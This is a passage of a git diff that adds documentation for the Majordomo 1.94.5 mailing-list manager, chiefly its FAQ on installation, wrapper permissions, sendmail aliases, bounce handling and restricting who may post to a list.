    + +This is broken for two reasons. First, the hostname may not necessarily +be a fully-qualified domain name, and thus this won't generate a valid +Internet email address. Secondly, using `hostname` generates +a linefeed character at the end, which totally screws things up, and you +end up getting blank lines in headers (and you'll start to see headers +appear in the body of the message).

    + +The solution is to edit the line and put in your correct host name +or mail domain.

    + +A bug report has been filed with RedHat.

    + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which +does not work with Majordomo. (you will get "Unknown mailer error 9" +errors). Download and install the updated Perl RPM from +ftp://updates.redhat.com/. + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt new file mode 100644 index 0000000..6ab513d --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt @@ -0,0 +1,1350 @@ +Version: $Id: majordomo-faq.txt,v 1.3 2000/01/13 12:54:32 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + +2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as 